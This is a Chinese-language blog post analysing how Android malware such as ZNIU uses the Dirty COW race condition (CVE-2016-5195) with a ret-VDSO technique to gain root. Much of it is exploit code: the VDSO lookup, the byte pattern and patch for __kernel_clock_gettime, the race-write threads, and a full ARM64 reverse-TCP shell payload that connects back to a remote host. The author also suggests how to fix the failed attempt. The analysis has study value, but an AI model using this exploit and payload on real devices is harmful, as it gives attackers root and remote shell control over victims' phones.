漏洞分析一百篇-03-Dirtycow条件竞争漏洞

Author Avatar
leo00000 7月 04, 2018

CVE-2016-5195“脏牛漏洞”曝出一年多了,近期出现的网上出现一批木马ZNIU利用脏牛提权,和前段时间发现的VIKIROOT思路十分相似,这里就漏洞利用技术进行分细。

分析环境

推荐使用的环境 备注
操作系统 Android 5.1.1 小米4C实体机
内核版本 goldfidh 3.10.49 no patch

关于脏牛的POC分析和漏洞成因,在本文将不再分析,有兴趣的读者可以看这里,本文主要讲利用方法。通过POC我们可以利用读一个root文件,条件竞争获取root写。常见的思路就是找一个具有SUID的可执行文件,将su竞争写入,执行su获取root。但是这里有两个限制,一是本身具有root SUID的可执行文件不好找,二是SELinux中严格限制getuid。该exploit利用了ret-VDSO技术达到了绕过SELinux目的。

EXP分析

完整的EXP已经在VIKIROOT中提供了,这里不再重复。

VDSO介绍

VDSO(Virtual Dynamically-linked Shared Object)是个很有意思的东西,它将内核态的调用映射到用户态的地址空间中,使得调用开销更小,路径更好。
开销更小比较容易理解, 那么路径更好指的是什么呢?拿x86下的系统调用举例,传统的int 0×80有点慢,Intel和AMD分别实现了sysenter,sysexit和syscall,sysret,即所谓的快速系统调用指令,使用它们更快,但是也带来了兼容性的问题。于是Linux实现了vsyscall,程序统一调用vsyscall,具体的选择由内核来决定。而vsyscall的实现就在VDSO中。不光是快速系统调用,glibc现在也提供了VDSO的支持,open(),read(),write(),gettimeofday()都可以直接用VDSO中的实现,使得这些调用更快,glibc更兼容,内核新特性在不影响glibc的情况下也可以更快的部署。Linux(kernel 2.6以上)环境执行ldd /bin/sh会发现有一个名字叫做linux-vdso.so.1的动态文件,而系统中却找不到它,它就是VDSO。

利用思路

EXP源代码在VIKIROOT工具中已经提供,这里对关键部分进行说明。

1. 使用getauxval获取执行VDSO的页
    //vdso_addr指向包含有VDSO的页
    void *vdso_addr = (void *)getauxval(AT_SYSINFO_EHDR);
2. 获取__kernel_clock_gettime的首地址。

由于内核中__kernel_clock_gettime的头部比较稳定,可以直接使用以下代码作为特征值在VDSO中搜索得到偏移地址。

    /* __kernel_clock_gettime */
    /* CMP W0, #0; CCMP W0, #1, #4, NE; B.NE #0x50 */
    {
        "\x1f\x00\x00\x71\x04\x18\x41\x7a\x81\x02\x00\x54", 12, // s_pattern, s_size
        "\x1f\x00\x00\x71\x04\x18\x41\x7a", 8   //r_pattern, r_size
    }

    ...省略...

    // match the entry of __kernel_clock_gettime
    target_offset = match_entry(vdso_addr, &entry)
3. patch掉VDSO。

漏洞利用代码的关键部分,事先写好一段arm下的 reverse-tcp-shell的payload,由于VDSO页有4K大小,在页尾有较大的空间没有利用可以存下payload。patch_vdso主要做两件事,一是使用patch掉__kernel_clock_gettime的头8字节,二是将payload写入VDSO页尾。

    //patch __kernel_clock_gettime
    buf[0] = '\xf0';
    buf[1] = '\x03';
    buf[2] = '\x1e';
    buf[3] = '\xaa';

    // MOV X16, X30; BL 0xEDC;
    // 0xEDC is offset addr to payload in VDSO;
    rel = VDSO_SIZE - payload_len - target_offset - 4;
    *(uint16_t *)&buf[4] = (uint16_t)(rel / 4);
    buf[6] = '\x00';
    buf[7] = '\x94';

写入方法与CVE-2016-5195提供的POC中的方法一样,这里将VDSO作为可读文件,条件竞争写入。

    arg.stop = false;
    pthread_create(&pth1, NULL, madvise_thread, &arg);
    pthread_create(&pth2, NULL, ptrace_thread, &arg);

    sleep(5);
    // maybe 5s not enough for complete writing payload.
    // sleep(10);

    // wait for thread finish;
    arg.stop = true;
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
4. 触发漏洞,payload rootshell通过socket回连。

这是一段arm平台的payload,x86可一在VIKIROOT的灵感连接中找到。注意看payload.s主要注释:

    _start:
        //save registers
        stp x0, x1, [sp,#-16]!

        // target init(0)
        // return if getuid() != 0 or getpid() != 1
        mov x8, SYS_GETUID
        svc 0
        cbnz w0, return
        mov x8, SYS_GETPID
        svc 0
        cmp w0, 1
        b.ne return

        // return if open("/data/local/tmp/.x", O_CREAT|O_EXCL, ?) fails
        // use "openat" instead since "open" is deprecated
        // intended to detect write permission and avoid conflict
        mov w0, 0    // dirfd is ignored
        adr x1, path
        mov w2, O_CREAT|O_EXCL
        mov w3, S_IRWXU
        mov    x8, SYS_OPENAT
        svc 0
        cmn x0, #1, LSL#12
        b.hi return

        // fork is deprecated, replaced with clone
        mov x0, SIGCHLD
        mov x1, 0
        mov x2, 0
        mov x3, 0
        mov x4, 0
        mov x8, SYS_CLONE
        svc 0
        cbnz w0, return

        // reverse connect
        // sockfd = socket(AF_INET, SOCK_STREAM, 0)
        mov x0, AF_INET
        mov    x1, SOCK_STREAM
        mov x2, 0
        mov x8, SYS_SOCKET
        svc 0
        mov x3, x0

        // connect(sockfd, (struct sockaddr *)&server, sockaddr_len)
        adr x1, sockaddr
        mov x2, 0x10
        mov    x8,SYS_CONNECT
        svc 0
        cbnz w0, exit

        // dup3(sockfd, STDIN, 0)
        mov x0, x3
        mov x2, 0 
        mov x1,STDIN
        mov x8,SYS_DUP3
        svc 0
        mov x1, STDOUT
        mov x8, SYS_DUP3
        svc 0
        mov x1, STDERR
        mov    x8, SYS_EXECVE
        svc 0

    exit:
        mov x0, 0
        mov x8, SYS_EXIT
        svc 0

    return:
        ldp x0, x1, [sp],#16
        mov x17, x30
        mov x30, x16
        nop        // CMP W0, #0
        nop        // CMP W0, #1, #4, NE
        br x17

这样当系统调用__kernel_clock_gettime时就会执行到BL 0xEDC,进而跳转到payload,而该函数使用十分频繁,打开手机时钟即可触发。

5. 清理工作。

EXP写的较好的地方是对exploit之前的环境进行了保存,rootshell之后可以用原环境对VDSO再次patch,做到了无须重启,不损伤目标环境。测试的时候是回连adb shell,但是木马环境中是远程shell。

总结

在验证实验中最终是以失败告终了,由于BlackChat的关系就不再继续下去了,这里将验证结果分享给大家,结合ZNIU的木马分析相信大家能够掌握该EXP技术利用。同时也欢迎大家共同探讨BlackChat

验证结果

测试时使用的环境如图:

通过dump下来的补丁,证明确实ret VSDO思路确实可行,这里看到patch__kernel_clock_gettime和写入payload到VDSO页尾都成功了:

但是注意到当竞争时间过短时,payload可能存在写入不完全,我们这里将竞争时间加长。

而当payload写入完成,会发现手机立马重启了,这里分析失败的原因可能有两种。第一种是patch VDSO破坏了完整性,适当提高payload的位置。第二种是payload的问题,写一个更稳定的payload。碍于调试环境不方便你,花费太多时间,大家可以对比一下ZNIU的利用方法,相信就可以掌握了。